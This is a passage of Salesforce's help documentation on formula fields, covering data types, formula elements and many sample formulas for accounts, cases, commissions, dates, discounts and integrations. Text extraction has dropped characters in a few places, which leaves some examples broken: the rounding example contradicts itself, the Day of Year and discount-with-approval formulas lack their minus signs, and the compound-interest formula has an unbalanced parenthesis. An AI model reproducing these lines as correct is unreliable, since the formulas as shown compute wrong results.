digits. Salesforce uses the round half up tie-breaking rule for
numbers in formula fields. For example, 12.345 becomes 12.35
and 12.345 becomes 12.34.

Percent

Returns a number in percent format of up to 18 digits followed


by a percent sign. Percent data is stored as a decimal divided
by 100, which means that 90% is equal to 0.90.

Text

Returns a string of up to 3900 characters. To display text in


addition to the formula output, insert that text in quotes. Use
the text data type for text, text area, URL, phone, email,

1116

Customize

About Formulas

Data Type

Description
address, and auto-number fields. This data type is not available
for custom summary formulas in reports.

See Also:
Building Formulas
About Formulas

Elements of a Formula
A formula can contain references to the values of fields, operators, functions, literal values, or other formulas. Use any or all
of the elements in the following table to build a formula. For more details about building formulas, see Building Formulas on
page 1147.
Element Name

Description

Literal Value

A text string or number you enter that is not calculated or


changed. For example, if you have a value thats always
multiplied by 2% of an amount, your formula would contain
the literal value of 2% of that amount:
ROUND((Amount*0.02), 2)

This example contains every possible part of a formula:


A function called ROUND used to return a number
rounded to a specified number of decimal places.
A field reference called Amount.
An operator, *, that tells the formula builder to multiply
the contents of the Amount field by the literal value, 0.02.
A literal number, 0.02. Use the decimal value for all
percents. To include actual text in your formula, enclose
it in quotes.
The last number 2 in this formula is the input required for
the ROUND function that determines the number of
decimal places to return.
Field Reference

Reference the value of another custom or standard field using


a merge field. The syntax for a merge field is field_name
for a standard field or field_name__c for a custom field.
The syntax for a merge field on a related object is
object_name__r.field_name. Use the Insert Field
button or the drop-down list to insert a merge field in your
formula where necessary.

1117

Customize

About Formulas

Element Name

Description

Function

A system-defined formula that can require input from you


and returns a value or values. For example, TODAY() does
not require input but returns the current date. The
TEXT(value) function requires your percent, number, or
currency input and returns text.

Operator

Comment

A symbol that specifies the type of calculation to perform or


the order in which to do it. For example, the + symbol specifies
two values should be added. The open and close parentheses
specify which expressions you want evaluated first.
An annotation within a formula that begins with a forward
slash followed by an asterisk (/*). and concludes with an
asterisk followed by a forward slash (*/). For example,
/*This is a formula comment*/

Comments are ignored when processing a formula.


Comments are useful for explaining specific parts of a formula
to anyone viewing the formula definition. For example:
AND(
/*competitor field is required, check to see
if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types
*/
$RecordType.Name = "ABCD Value",
/* checking for any closed status, allows
for additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)

You can also use comments to comment out sections of your


formula when debugging and checking the syntax to locate
errors in the formula.
Note:

Nesting comments causes a syntax error. For


example, you cannot save a formula that has the
following:
/* /* comment */ */

Commenting out a whole formula causes a syntax


error.

1118

Customize

About Formulas

Element Name

Description

Comments count against the character and byte


size limits in formulas.

See Also:
Building Formulas
Building Custom Summary Formulas
Quick Reference Guide: Formula Fields

Formulas: How Do I...


Available in: All Editions
Some How Do I's are not relevant to Database.com

User Permissions Needed


To view formula field details:

View Setup and Configuration

To create, change, or delete formula fields:

Customize Application

Common Math Calculations

Add numbers?
Convert text into a number?
Divide numbers?
Multiply numbers?
Round numbers?
Subtract numbers?

Common Text Functions

Check if a field contains specified text?


Check if a picklist field contains a specified value?
Combine first and last names?
Convert numbers into text?
Create a hyperlink field?

Advanced Formulas

Calculate Commission Amounts for Opportunities?


Calculate a Contacts Age?

1119

Customize

About Formulas

Set Up Round-Robin Assignment of Cases or Leads?


Set Up Opportunity Discount Rounded?

Custom Summary Formulas for Reports

Calculate the sum of all leads that have Email Opt Out and Do Not Call fields selected?
Calculate the difference of all Amount fields and all Discounted Amount fields on opportunities?
Calculate the average age of all opportunities?
Calculate what percent of all opportunities are closed won?
Calculate the number of active Salesforce users to the 2nd power for administration?
Calculate the duration of all activities (minutes) times the number of records per 24 hours?
Calculate the average percent margin on a product-by-product level across many opportunities?
Calculate the percentage of one product compared to all products in closed opportunities?
Calculate the change in revenue from opportunities between months?

Cross-Object Formulas

Display the Created By field from a parent object?


Display a Percent field from a parent object?
Display a text field from a parent object?
Display a phone number field from a parent object?
Display a picklist field from a parent object?
Display a URL field from a parent object?

Examples of Advanced Formula Fields


Available in: All Editions

User Permissions Needed


To view formula field details:

View Setup and Configuration

To create, change, or delete formula fields:

Customize Application

Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples
of Validation Rules on page 1162 and Useful Default Field Value Formulas on page 1157.
This document contains the following categories of custom formula samples:

Account Management
Account Media Service Links
Case Management
Commission Calculations
Contact Management
Data Categorization

1120

Customize

About Formulas

Date Calculations
Discounting
Employee Services
Expense Tracking
Financial Calculations
Image Links
Integration Links
Lead Management
Metrics
Opportunity Management
Pricing
Project Management
Scoring Calculations

See Also:
About Formulas
Operators and Functions
Formulas: How Do I...
Tips on Building Formulas
Quick Reference Guide: Formula Fields

Account Management
Account Rating
This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of Hot, Warm, or Cold.
IF (AND (AnnualRevenue > 10000000,
CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"),
"US")),
IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot",
IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"),
ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")),
"Cold")

For details about using these functions, see IF on page 1222, AND on page 1212, CONTAINS on page 1216, CASE on page 1214,
and ISPICKVAL on page 1229.
In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c

Account Region
This formula returns a text value of North, South, East, West, or Central based on the Billing State/Province
of the account.
IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",

1121

Customize

About Formulas

IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central",


IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East",
IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South",
IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))

For details about using these functions, see IF on page 1222, LEN on page 1231, and CONTAINS on page 1216.
Contract Aging
This formula calculates the number of days since a contract with an account was activated. If the contract Status is not
Activated, this field is blank.
IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)

For details about using these functions, see IF on page 1222, ISPICKVAL on page 1229, and NOW on page 1236.
Contract Approval Process Aging
This formula calculates how many days in the sample are left.
TODAY()-Sample_date_c

For details about using this function, see TODAY on page 1245.
Month of Last Account Activity
This formula field displays the month of the last activity or None if there are no activities.
CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

For details about using these functions, see CASE on page 1214 and MONTH on page 1236.
Month of Service-Level Agreement Expiration
This formula returns the month that your service-level agreement expires. This example uses a custom date field called SLA
Expiration Date.
MONTH(SLAExpirationDate__c)

For details about using this function, see MONTH on page 1236.

1122

Customize

About Formulas

Account Media Service Links


BBC News Search
This formula creates a link to a BBC news search site based on the Account Name.
HYPERLINK(
"http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?scope=newsifs;tab=news;q="&Name,
"BBC News")

Bloomberg News Search


This formula creates a link to an account's ticker symbol on the Bloomberg website.
HYPERLINK(
"http://www.bloomberg.com/apps/quote?ticker="&TickerSymbol,
"Bloomberg News")

CNN News Search


This formula creates a link to a CNN news search site using the Account Name.
HYPERLINK(
"http://websearch.cnn.com/search/search?source=cnn&
invocationType=search%2Ftop&sites=web&query="&Name,
"CNN News")

MarketWatch Search
This formula creates a link to an account's ticker symbol on the Marketwatch.com website.
HYPERLINK(
"http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol,
"Marketwatch")

Google Search
This formula creates a link to a Google search site using the Account Name.
HYPERLINK(
"http://www.google.com/search?en&q="&Name,
"Google")

Google News Search


This formula creates a link to a Google news search site using the Account Name.
HYPERLINK(
"http://www.google.com/news?en&q="&Name,
"Google News")

1123

Customize

About Formulas

Yahoo! Search
This formula creates a link to a Yahoo! search site using the Account Name.
HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")

Yahoo! News Search


This formula creates a link to a Yahoo! news search site using the Account Name.
HYPERLINK(
"http://news.search.yahoo.com/search/news?p="&Name,
"Yahoo News")

For details about using the function used in these formulas, see HYPERLINK on page 1221.

Case Management
Autodial
This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example,
replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field,
Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number
to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id="
& Id & "&phone=" & Phone, Phone)

For details about using this function, see HYPERLINK on page 1221.
Case Aging (Assignments)
Use this example of a custom formula field called Days Open to display different text depending on the number of days a
case has been open:
CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

The following text is displayed:

Reassign for any case open three days.


Assign Task for any case open two days.
Maintain for all other cases.

For details about using this function, see CASE on page 1214.

1124

Customize

About Formulas

Case Aging (Open Cases)


This formula calculates the number of days a case has been open. If the case is closed, it sets the result to null. Add this formula
to a related list as the sort column to quickly see which open cases have been open the longest. The formula returns zero if the
case has been open for less than 24 hours.
IF(IsClosed,
null,
NOW() - CreatedDate )

For details about using these functions, see IF on page 1222 and NOW on page 1236.
Case Aging (Open and Closed Cases)
This formula calculates the number of days a closed case was open or the number of days an open case has been open since
the date the case was created. The formula returns zero if the case has been open for less than 24 hours.
IF(IsClosed,
ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))

For details about using these functions, see IF on page 1222, ROUND on page 1242, and NOW on page 1236.
Case Categorization
This formula displays a text value of RED, YELLOW, or GREEN, depending on the value of a case age custom text
field.
IF(DaysOpen__c > 20, "RED",
IF(DaysOpen__c > 10, "YELLOW",
"GREEN") )

For details about using this function, see IF on page 1222.


Case Data Completeness Tracking
This formula calculates the percentage of specific custom fields that contain data. The formula checks the values of two custom
number fields: Problem Num and Severity Num. If the fields are empty, the formula returns the value 0. The formula
returns a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields
that contain data.
(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

For details about using these functions, see IF on page 1222 and ISBLANK on page 1226.
Case Due Date Calculation
This formula sets the due date of a case based on the priority. If it is high, the due date is two days after it opens. If it is
medium, the due date is five days after opening. Otherwise, the due date is seven days.
CASE (Priority,
"High", CreatedDate + 2,
"Medium",CreatedDate + 5,
CreatedDate + 7)

For details about using this function, see CASE on page 1214.

1125

Customize

About Formulas

Suggested Agent Prompts


This formula prompts an agent with cross-sell offers based on past purchases.
CASE(Product_Purch__c,
"Printer", "Extra toner cartridges", "Camera", "Memory cards",
"Special of the day")

For details about using this function, see CASE on page 1214.
Suggested Offers
This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches
a field, the formula field returns a suggestion.
CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")

For details about using this function, see CASE on page 1214.

Commission Calculations
Commission Amounts for Opportunities
The following is a simple formula where commission is based on a flat 2% of the opportunity Amount.
IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any opportunity that has a Closed Won stage. The value of this field
will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.
For details about using these functions, see IF on page 1222, ISPICKVAL on page 1229, and ROUND on page 1242.
Commission Deal Size
This formula calculates a commission rate based on deal size, returning a 9% commission rate for deals over 100,000 and an
8% commission rate for smaller deals.
IF(Amount > 100000, 0.09, 0.08 )

For details about using this function, see IF on page 1222.


Commission Greater Than or Equal To
This formula assigns the YES value with a commission greater than or equal to one million. Note, this is a text formula
field that uses a custom currency field called Commission.
IF(Commission__c >= 1000000, "YES", "NO")

For details about using this function, see IF on page 1222.

1126

Customize

About Formulas

Commission Maximum
This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of
the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom
percent fields on users and assets.
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

For details about using this function, see MAX on page 1234.

Contact Management
Contact's Account Creation Date
This date formula displays the account's Created Date field on the contacts page.
Account.CreatedDate

Contact's Account Discount Percent


This percent formula displays the account's Discount Percent field on the contacts page.
Account.Discount_Percent__c

Contact's Account Name


This formula displays the standard Account Name field on the contacts page.
Account.Name

Contact's Account Phone


This formula displays the standard Account Phone field on the contacts page.
Account.Phone

Contact's Account Rating


Use this formula to display the Account Rating field on the contacts page.
CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")

For details about using this function, see CASE on page 1214.
Contact's Account Website
This formula displays the standard Account Website field on the contacts page.
Account.Website

1127

Customize

About Formulas

If the account website URL is long, use the HYPERLINK function to display a label such as Click Here instead of the
URL. For example:
IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)

This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field.
For details about using this function, see HYPERLINK on page 1221.
Contacts Age
Use this formula to calculate a persons age based on a standard field called Birthdate. The persons Birthdate is subtracted
from todays date, which returns the number of days since the persons Birthdate. This number is divided by the number
of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)

For details about using these functions, see FLOOR on page 1219 and TODAY on page 1245.
Contact's Birthday
This formula displays the value Yes if the contacts birthday falls in the current calendar month.
IF (
MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")

For details about using these functions, see IF on page 1222, MONTH on page 1236, and TODAY on page 1245.
Contact's LinkedIn Profile
You can configure a link that appears on your contacts' profile page that sends you to their LinkedIn profile. To do so:
1.
2.
3.
4.

Click SetupCustomizeContactsButtons and Links.


Click New under Custom Buttons and Links.
Enter a Label for this link, like LinkedInLink.
Enter this formula in the content box:
http://www.linkedin.com/search/fpsearch?type=people&keywords
={!Contact.FirstName}+{!Contact.LastName}

5. Click Save.
Remember to add this link to the Contact page layout in order for it to show up.
Contact Identification Numbering
This formula displays the first five characters ofta name and the last four characters of a social security number separated by
a dash. Note that this example uses a text custom field called SSN.
TRIM(LEFT(LastName,
5)) & "-" & TRIM(RIGHT(SSN__c, 4))

1128

Customize

About Formulas

For details about using these functions, see TRIM on page 1246, LEFT on page 1231, and RIGHT on page 1241.
Contact Preferred Phone
This formula displays the contacts preferred contact method in a contact related listwork phone, home phone, or mobile
phonebased on a selected option in a Preferred Phone custom picklist.
CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
"Mobile", "m. " & MobilePhone,
"No Preferred Phone")

For details about using this function, see CASE on page 1214.
Contact Priority
This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is
Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP
then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).
IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1",
IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2",
IF(ISPICKVAL(Account.Rating, "Cold"), "P3",
"P3")
)
)

Contact Yahoo! ID
This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click
the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?"
& Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))

For details about using these functions, see HYPERLINK on page 1221 and IMAGE on page 1224.
Dynamic Address Formatting
This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks
where appropriate depending on the country.
CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &

1129

Customize

About Formulas

ShippingCity & BR() &


ShippingCountry, "etc")

For details about using this function, see CASE on page 1214 and BR on page 1213.
Telephone Country Code
This formula determines the telephone country code of a contact based on the Mailing Country of the mailing address.
CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")

For details about using this function, see CASE on page 1214.
Unformatted Phone Number
This formula removes the parentheses and dash characters from North American phone numbers. This is necessary for some
auto-dialer software.
IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

For details about using these functions, see IF on page 1222 and MID on page 1235.

Data Categorization
Deal Size Large and Small
This formula displays Large Deal for deals over one million dollars or Small Deal for deals under one million dollars.
IF(Sales_Price__c > 1000000,
"Large Deal",
"Small Deal")

For details about using this function, see IF on page 1222.


Deal Size Small
This formula displays Small if the price and quantity are less than one. This field is blank if the asset has a price or quantity
greater than one.
IF(AND(Price<1,Quantity<1),"Small",
null)

For details about using these functions, see IF on page 1222 and AND on page 1212.

1130

Customize

About Formulas

Product Categorization
This formula checks the content of a custom text field named Product_Type and returns Parts for any product with the
word part in it. Otherwise, it returns Service. Note that the values are case sensitive, so if a Product_Type field contains
the text Part or PART, this formula returns Services.
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

For details about using these functions, see IF on page 1222 and CONTAINS on page 1216.

Date Calculations
Birthday in Current Year Accounting for Leap Years
This formula returns the date of a person's birthday in the current year, even if the person's birthday is on February 29th in a
leap year.
IF(AND(MONTH(Birthdate) = 2, DAY(Birthdate) = 29),
(IF(OR(MOD(YEAR(DATEVALUE(NOW())), 400) = 0, AND(MOD(YEAR(DATEVALUE(NOW())) ,4) = 0,
MOD(YEAR(DATEVALUE(NOW())), 100) <> 0)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate), DAY(Birthdate)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate + 1), 28))),
(DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate) , DAY(Birthdate))))

Day of Week (number)


This formula calculates todays day of the week as a number (0 = Sunday, 1 = Monday, 2 = Tuesday, and so on).
MOD(TODAY() - DATE(1900, 1, 7), 7)

Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign
Up Date. It returns the day of the week as a number for that field.
MOD(Sign_Up_Date__c - DATE(1900, 1, 7), 7)

For details about using these functions, see MOD on page 1235, TODAY on page 1245, and DATE on page 1217.
Day of Week (text)
This formula calculates todays day of the week and displays it as text. To determine the day of the week for a date field, use
the formula below and replace TODAY() with that date field.
CASE(
MOD(TODAY() - DATE(1900, 1, 7), 7),
0, "Sunday",
1, "Monday",
2, "Tuesday",
3, "Wednesday",
4, "Thursday",
5, "Friday",
6, "Saturday", "Error")

For details about using these functions, see CASE on page 1214, MOD on page 1235, TODAY on page 1245, and DATE on page
1217.

1131

Customize

About Formulas

Day of Year
This formula calculates todays numeric day of the year (a number between 1 and 365).
TODAY() DATE(YEAR(TODAY()), 1, 1) + 1

For details about using these functions, see TODAY on page 1245, DATE on page 1217, and YEAR on page 1250.
Days Until End of Month
This formula displays the number of days between a specific date and the end of the month in which the date occurs.
IF(
MONTH(CloseDate)=12,
DATE(YEAR(CloseDate),12,31) - CloseDate,
DATE(YEAR(CloseDate),
MONTH(CloseDate)+1,1) - CloseDate-1)

For details about using these functions, see IF on page 1222, MONTH on page 1236, DATE on page 1217, and YEAR on page
1250.
Time of Day
This formula returns the time of day in Greenwich Mean Time (GMT), for example: 08:04 PM).
MID (TEXT (Due_Date_Time__c), 12, 5)

For details about using these functions, see MID on page 1235 and TEXT on page 1244.

Discounting
Maintenance and Services Discount
This formula field uses two custom currency fields: Maintenance Amount and Services Amount. It displays Discounted
on an opportunity if its maintenance amount and services amount do not equal the opportunity Amount standard field value.
Otherwise, it displays "Full Price."
IF(Maintenance_Amount__c + Services_Amount__c <> Amount,
"Discounted",
"Full Price")

For details about using this function, see IF on page 1222.


Opportunity Discount Amount
This formula calculates the difference of the product Amount less the Discount Amount. Note that Discount Amount
is a custom currency field.
Amount
- Discount_Amount__c

For details about using this operator, see - (Subtract) on page 1208.

1132

Customize

About Formulas

Opportunity Discount Rounded


Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number
formula field on opportunities that uses a custom percent field called Discount Percent.
ROUND(Amount-Amount*
Discount_Percent__c,2)

For details about using this function, see ROUND on page 1242.
Opportunity Discount with Approval
This formula adds a Discount Approved checkbox to an opportunity. It uses conditional logic to check the value of the
approval flag before calculating the commission.
IF(Discount_Approved__c, ROUND(Amount Amount * DiscountPercent__c, 2), Amount)

For details about using these functions, see IF on page 1222 and ROUND on page 1242.

Employee Services
Bonus Calculation
This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus
percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom
number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the
employee's Gross and company's Performance.
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

For details about using this function, see MIN on page 1235.
Employee 401K
This example formula determines which amount to provide in employee 401K matching based on a matching program of half
of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.
MIN(250, Contribution__c /2)

For details about using this function, see MIN on page 1235.
Hours Worked Per Week
This formula uses a custom tab to enable time tracking of hours worked per day. It uses a formula field to sum the hours per
week.
MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

For details about using this operator, see + (Add) on page 1207.

1133

Customize

About Formulas

Total Pay Amount


This formula determines total pay by calculating regular hours multiplied by a regular pay rate, plus overtime hours multiplied
by an overtime pay rate.
Total Pay =
IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c,
40 * Hourly_Rate__c +
(Total_Hours__c - 40) * Overtime_Rate__c)

For details about using this function, see IF on page 1222.

Expense Tracking
Expense Identifier
This formula displays the text Expense- followed by trip name and the expense number. This is a text formula field that
uses an expense number custom field.
"Expense-"
& Trip_Name__c & "-" & ExpenseNum__c

For details about using this operator, see - (Subtract) on page 1208.
Mileage Calculation
This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.
Miles_Driven__c * 0.35

For details about using this operator, see * (Multiply) on page 1208.

Financial Calculations
Compound Interest
This formula calculates the interest, you will have after T years, compounded M times per year.
Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

For details about using these operators, see * (Multiply) on page 1208, / (Divide) on page 1208, and ^ (Exponentiation) on page
1209.
Compound Interest Continuous
This formula calculates the interest that will have accumulated after T years, if continuously compounded.
Principal__c * EXP(Rate__c * T)

For details about using this function, see EXP on page 1218.

1134

Customize

About Formulas

Consultant Cost
This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field.
Consulting_Days__c
* 1200

For details about using this operator, see * (Multiply) on page 1208.
Gross Margin
This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods
Sold are custom currency fields.
Total_Sales__c - Cost_of_Goods_Sold__c

For details about using this operator, see - (Subtract) on page 1208.
Gross Margin Percent
This formula calculates the gross margin based on a margin percent.
Margin_percent__c * Items_Sold__c * Price_item__c

For details about using this operator, see * (Multiply) on page 1208.
Payment Due Indicator
This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due
Date is a custom date field.
(BLANKVALUE(Payment_Due_Date__c, StartDate
+5)

For details about using this function, see BLANKVALUE on page 1213.
Payment Status
This formula determines if the payment due date is past and the payment status is UNPAID. If so, it returns the text
PAYMENT OVERDUE and if not, it leaves the field blank. This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on contracts.
IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )

For details about using these functions, see IF on page 1222, AND on page 1212, TODAY on page 1245, and ISPICKVAL on
page 1229.

1135

Customize

About Formulas

Image Links
Yahoo! Instant Messenger Image
This formula displays an image that indicates whether a contact or user is currently logged in to Yahoo! Instant Messenger.
Clicking the image launches the Yahoo! Instant Messenger window. This formula uses a custom text field called Yahoo Name
to store the contact or users Yahoo! ID.
IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

For details about using these functions, see IF on page 1222, LEN on page 1231, HYPERLINK on page 1221, and IMAGE on
page 1224.
Skype Me Auto Dialer Button
This formula displays an image that looks like a push button. Clicking the button automatically dials the specified phone
number.
HYPERLINK("callto://" & "+1" & Phone,
IMAGE("http://goodies.skype.com/graphics/skypeme_btn_small_blue.gif",
"Click to Skype"))

For details about using these functions, see HYPERLINK on page 1221 and IMAGE on page 1224.
Flags for Case Priority
This formula displays a green, yellow, or red flag image to indicate case priority.
IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")

For details about using this function, see IMAGE on page 1224.
Color Squares for Case Age
This formula displays a 30 x 30 pixel image of a red, yellow, or green, depending on the value of a Case Age custom text
field.
IF( Case_Age__c > 20,
IMAGE("/img/samples/color_red.gif", "red", 30, 30),
IF( Case_Age__c > 10,
IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30),
IMAGE("/img/samples/color_green.gif", "green", 30, 30),
))

For details about using these functions, see IF on page 1222 and IMAGE on page 1224.

1136

Customize

About Formulas

Traffic Lights for Status


This formula displays a green, yellow, or red traffic light images to indicate status, using a custom picklist field called Project
Status. Use this formula in list views and reports to create a Status Summary dashboard view.
IMAGE(
CASE(Project_Status__c,
"Green", "/img/samples/light_green.gif",
"Yellow", "/img/samples/light_yellow.gif",
"Red", "/img/samples/light_red.gif",
"/s.gif"),
"status color")

For details about using these functions, see IMAGE on page 1224 and CASE on page 1214.
Stars for Ratings
This formula displays a set of one to five stars to indicate a rating or score.
IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")

For details about using these functions, see IMAGE on page 1224 and CASE on page 1214.
Consumer ReportsStyle Colored Circles for Ratings
This formula displays a colored circle to indicate a rating on a scale of one to five, where solid red is one, half red is two, black
outline is three, half black is four, and solid black is five.
IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")

For details about using these functions, see IMAGE on page 1224 and CASE on page 1214.
Horizontal Bars to Indicate Scoring
This formula displays a horizontal color bar (green on a white background) of a length that is proportional to a numeric score.
In this example, the maximum length of the bar is 200 pixels.
IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) &
IMAGE("/s.gif", "white", 15,
200 - (Industry_Score__c * 2))

For details about using this function, see IMAGE on page 1224.

1137

Customize

About Formulas

Integration Links
Application API Link
This formula creates a link to an application outside Salesforce, passing the parameters so that it can connect to Salesforce via
the SOAP API and create the necessary event.
HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name &
"action=CreateTask","Create a Meeting Request")

For details about using these functions, see HYPERLINK on page 1221 and GETSESSIONID on page 1220.
Shipment Tracking Integration
This formula creates a link to FedEx, UPS, or DHL shipment tracking websites, depending on the value of a Shipping
Method custom picklist field. Note that the parameters shown in this example for FedEx, UPS, and DHL websites are
illustrative and do not represent the correct parameters for all situations.
CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"),
"")

For details about using these functions, see CASE on page 1214 and HYPERLINK on page 1221.
Skype Auto Dialer Integration
This formula creates a linkable phone number field that automatically dials the phone number via the Skype VOIP phone
application. It requires installation of the Skype application (a third-party product not provided by salesforce.com) on your
desktop.
HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)

For details about using this function, see HYPERLINK on page 1221.

Lead Management
Lead Aging (for open leads)
This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date
and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the
lead is not open, this field is blank.
IF(ISPICKVAL(Status,
"Open"), ROUND(NOW()-CreatedDate, 0), null)

1138

Customize

About Formulas

For details about using these functions, see IF on page 1222, ISPICKVAL on page 1229, ROUND on page 1242, and NOW on
page 1236.
Lead Data Completeness
This formula calculates the percent of certain lead fields that your sales personnel enter. The formula field checks the values
of two custom number fields: Phone and Email. If the fields are empty, the formula returns the value 0. The formula returns
a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that
contain data.
(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

For details about using this function, see IF on page 1222.


Lead Numbering
